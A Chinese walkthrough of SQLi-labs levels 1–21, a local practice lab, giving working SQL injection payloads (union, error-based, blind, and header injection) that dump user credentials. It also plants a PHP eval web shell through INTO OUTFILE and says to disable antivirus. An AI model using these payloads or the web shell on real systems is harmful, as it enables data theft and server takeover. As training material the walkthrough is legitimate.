SQL靶场less1-21通关攻略

Less-1

进入第一关,提示我们输入一个ID作为参数和数值

但是没有输入ID的文本框,此时只有网址栏可进行输入,我们尝试将?id=1输如网址栏,页面回显正常

然后判断注入点是否在网址栏,我们尝试用单引号闭合,输入?id=1',显示MySQL报错,说明存在注入点(闭合方式不只有单引号,只是首先用单引号做尝试)

在?id=1’后加个注释,输入?id=1’--+后,网页回显正常,说明单引号起到了闭合的作用,这是一个字符型注入

接下来判断他当前的字段数,使用order by子句进行排序,输入?id=1' order by 1--+,依次输入到order by 4时出现错误,说明存在3个字段

然后判断显存位,使用联合查询union select 1,2,3(判断存在几个字段就写几个,1、2、3这三个数字没有任何含义只是起到标记作用),输入?id=0' union select 1,2,3 --+(若id=1则显示前面的查询结果,不显示联合语句的查询结果,所以需将1改为不产生结果的数字)

输入:?id=0' union select 1,2,3 --+

接下来我们选择2这个显示位使用database()函数,回显数据库名,数据库名显示为:security

输入:?id=0' union select 1,database ,3 --+

要想知道数据库里有哪些表,需在information_schema.tables里结合group_concat()函数进行查询,显示该数据库包含4个表

输入:?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在知道表名之后,我们可以根据表名判断表中的内容,首先获取里列名

输入:?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

得到列名之后,我们就可以进一步获取表中的信息

输入:?id=0' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+

Less-2

进入第二关,与第一关一样,提示我们输入一个ID作为参数和数值

首先的输入?id=1进行尝试,回显正常

然后使用单引号闭合,输入?id=1’, 显示MySQL报错,说明存在注入点

接着加注释,输入?id=1’--+,仍然显示MySQL报错,说明单引号没有起到闭合作用,所以这是一个数字型注入(与less1相同,不用单引号闭合)

判断字段数:?id=1 order by 3 --+

判断显示位:?id=0 union select 1,2,3 --+

获取数据库名:?id=0 union select 1,database(),3 --+

获取表名:?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'  --+

获取列名:?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'  --+

获取数据:?id=0 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+

Less-3

进入第三关,与前两关一样,提示我们输入一个ID作为参数和数值

首先的输入?id=1进行尝试,回显正常

然后使用单引号闭合,输入?id=1’, 显示MySQL报错,说明存在注入点

根据报错信息可以看出,需要用到括号闭合,输入?id=1') --+(除闭合方式,其余与前两题相同),回显正常

判断字段数:?id=1’) order by 3 --+

判断显示位:?id=0’) union select 1,2,3 --+

获取数据库名:?id=0’) union select 1,database(),3 --+

获取表名:?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获取列名:?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

获取数据:?id=0') union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+

Less-4

进入第四关,与前三关一样,提示我们输入一个ID作为参数和数值

首先输入?id=1,回显正常

然后使用单引号闭合,输入?id=1’,回显正常

再尝试使用双引号闭合,输入,显示报错,存在注入点

根据报错信息可以看出,需要用到括号闭合,输入?id=1”) --+(除闭合方式,其余与前两题相同),回显正常

判断字段数:?id=1”) order by 3 --+

判断显示位:?id=0”) union select 1,2,3 --+

获取数据库名:?id=0”) union select 1,database(),3 --+

获取表名:?id=0”) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获取列名:?id=0”) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

获取数据:?id=0”) union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+

Less-5

进入第五关,提示我们输入一个ID作为参数和数值

尝试输入?id=1,回显“You are in……”,无有用信息

再尝试输入?id=0,页面不显示信息,说明这个网页的传参是用来判断id是否存在,因此可用布尔注入

判断是否存在注入点,使用单引号进行闭合,输入?id=0’,显示报错,说明存在注入点且用单引号闭合(后面记得加注释--+)

判断字段数:?id=1’ order by 3 --+(这里id=1,=0不显示任何信息),所以该数据库包含3个字段,因为页面只回显“You are in…”和无回显,所以无法判断显示位

获取数据库名:?id=0' union select extractvalue(1,concat(';',database())) --+

获取表名:

?id=0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) --+

获取列名:

?id=0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) --+

获取数据:

?id=0' and extractvalue(1,concat('~',(select group_concat(concat_ws(':',username,password)) from security.users),'~')) --+(位数限制,无法全部显示数据,可以username,password分开获取)

Less-6

进入第六关,与第五关区在于闭合方式为双引号,其余相同

Less-7

进入第七关,这一关为基于文件写入注入,需要我们写一个木马投放进去

首先我们要对小皮面板的mysql.ini进行配置,

在打开的my.ini文件的这个位置加入一句话:secure_file_priv="/"

重启小皮后打开数据库工具,执行show variables like '%secure%';语句,查看secure_file_priv参数(该参数对文件的读写进行限制,当参数是NULL时无法进行文件导出操作)

然后我们写一个木马程序,放进less-7的文件夹内,例如:"D:\phpstudy_pro\WWW\sqli-labs\Less-7\text.php"(记得关闭电脑的实时保护,不然木马文件会被自动处理)

我们需要先知道网页所在的文件路径,从该题中的无法得到的,我们去 Less-1 题,在那获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点

http://127.0.0.1/sqli-labs/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

使用 union 联合查询来注入参数,使用 into outfile 在网页目录下入一句话木马(此处存在转义问题,所有的“\”都要双写)

http://127.0.0.1/sqli-labs/Less-7/?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["config"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\text.php" --+

打开蚁剑,添加数据,URL地址为text.php文件的路径,密码看木马文件中的内容

与蚁剑连接成功,打开result.txt文件,查看结果

Less-8

第一步查看注入点进行尝试:?id=1 ',发现单引号可以进行闭合,存在注入点

判断字段数:?id=1’ order by 3 --+

尝试显示报错位:?id=1' union select 1,2,3 --+,仍显示You are in…

进行布尔盲注,首先猜测数据库长度:?id=1 'and(length(database()))=8 --+,数据库名称长度为8位

利用ASCII编码判断数据库名:?id=1 'and (ascii(substr(database(),1,1)))=115 --+,等于115回显正常,查看ascii编码发现是字母s,不断进行猜数字判断出数据库名为security

继续尝试表名:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+

字段名:?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 --+

Less-9

进入第九关,时间盲注

进行了一系列测试后,都没有明显回显,此时选择时间盲注,当数据库的长度为8时,延迟10秒:?id=1' and if(length(database())=8,sleep(10),1)--+

数据库名为security:?id=1' and if(left((select database()),1)='s',sleep(10),1)--+

判断数据库表名:

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1) --+

Less-10

进入第十关,与第九关相同,闭合方式换成双引号

Less-11

进入第十一关,该关从GET传参换成了POST传参,先尝试使用万能密码

a’or 1=1#

判断字段数:' or 1=1 order by 2#(回显正常)' or 1=1 order by 3#(报错)

判断显错位:' union select 1,2#

判断数据库名:' union select database(),2#

判断所有表名:

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

判断所有列名:

'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#

判断数据:

'union select 1,group_concat(concat_ws(';',username,password)) from security.users#

Less-12

进入第十二关,与第十一关一样,闭合方式换为双引号加括号”)

判断数据:

”) union select 1,group_concat(concat_ws(';',username,password)) from security.users#

Less-13

进入第十三关,经过测试闭合方式为’)

判断数据库版本:') or updatexml(1,concat("!", version()),2)#

判断数据库名:

') or updatexml(1,concat('~',(select database())),1);#

判断表名:

') or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security' )),2)#

判断列名:') or updatexml(1,concat("!",(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name ='users')),2)#

判断数据:

') or updatexml(1,concat("!",(select group_concat(concat_ws(':',username,password))from security.users)),2)#

Less-14

进入第十四关,跟第十三关一样,闭合方式换成双引号”

判断数据:

” or updatexml(1,concat("!",(select group_concat(concat_ws(':',username,password))from security.users)),2)#

Less-15

进入第十五关,使用盲注的方式,看标志来判断报没报错

判断数据库名长度:' or (length(database())=8)--+

判断数据库名:' or (ascii(substr(database(),1,1)))=115 --+

Less-16

进入第十六关,与十五关一样,闭合方式为”)

判断数据库名长度:”) or (length(database())=8)--+

判断数据库名:”) or (ascii(substr(database(),1,1)))=115 --+

Less-17

进入第十七关,本关卡密码重置有两个 SQL 语句,上面一个进行了强效的过滤,没有注入点,输入正确的语句也会显示报错,需要发现第二个注入点

判断注入点:存在

判断数据库名:'or updatexml(1,concat("!",database()),2)#

判断表名:

' or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security' )),2)#

判断列名:' or updatexml(1,concat("!",(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name ='users')),2)#

判断数据:' or updatexml(1,concat('!',(select group_concat(':',username,password) from users)),2)#

无法直接从users表获取是数据,可以先用一个暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据

' or (updatexml(1,concat('!',(select concat_ws(':',username,password) from (select username,password from users)text limit 0,1)),1))#

Less-18

进入第十八关,发现显示了我们的IP地址,只要是记录信息,很大概率是通过数据据库进行记录,那在记录的地方就会有可能存在注入点,这个地方就是请求头

首先我们输入正确的Username和Password,页面回显了IP地址和User Agent(用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等)

接下来输入错误的Username和Password,显示登陆失败,并无其他回显,所以我们猜测:注入点可能在User Agent

输入正确的Username和Password进行抓包,我们在截取的数据包中的User-Agent上输入单引号:User-Agent: '

现在我们知道了User-Agent存在字符型注入漏洞,但不知道第二个SQL语句是什么,所以要测试闭合方式,当测试到两个单引号时,闭合成功,因此由两侧的单引号进行闭合:User-Agent: ''

判断数据库名:User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '

判断表名:User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

判断列名:User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

获取信息:User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

Less-19

进入第十九关,与是十八关只是注入点不一样,注入点为Referer

Less-20

进入第二十关,与十九关一样,注入点是:Cookie

Less-21

进入第二十一关,发现与第二十关一样,但抓包后发现cookie的地方被base64编码了

我们只需要在网页上找个base64的在线编码器,其余与第二十关一样

SQLi-labs是一个用于学习SQL注入技术的实验平台,其中的Less-1是其中的第一道题目。在这个题目中,通过在URL中注入特定的参数,我们可以尝试利用SQL注入来获取用户表中的用户名和密码。具体的注入语句如下: http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users -- 这个注入语句的作用是将我们自己构造的查询语句与原有的查询语句进行组合,实现从数据库中获取用户名和密码的目的。在这个注入语句中,我们使用了concat_ws函数来将用户名和密码拼接成一个字符串,并通过group_concat函数将多个字符串连接成一个结果集。最终,我们可以通过这个注入语句获取到用户表中所有用户的用户名和密码。 此外,在注入过程中,我们还可以利用一些技巧来绕过一些过滤规则。比如在注入语句中使用0x7e7e来代替'~~',以此来避免被过滤掉。同时,我们还可以利用or 1=1这样的逻辑条件来绕过原有的查询条件,实现查询全部数据的目的。 总的来说,SQLi-labs的Less-1题目是一个通过注入特定的参数来利用SQL注入技术获取数据库中数据的实验。通过这个实验,我们可以学习到SQL注入的原理和常见的防御措施。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [sqli-labs less1.txt](https://download.csdn.net/download/u011534656/13191722)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [Sqli-labs less-01](https://blog.csdn.net/weixin_47075747/article/details/121884424)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [sqli-labs之less1](https://blog.csdn.net/weixin_44791273/article/details/108517951)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值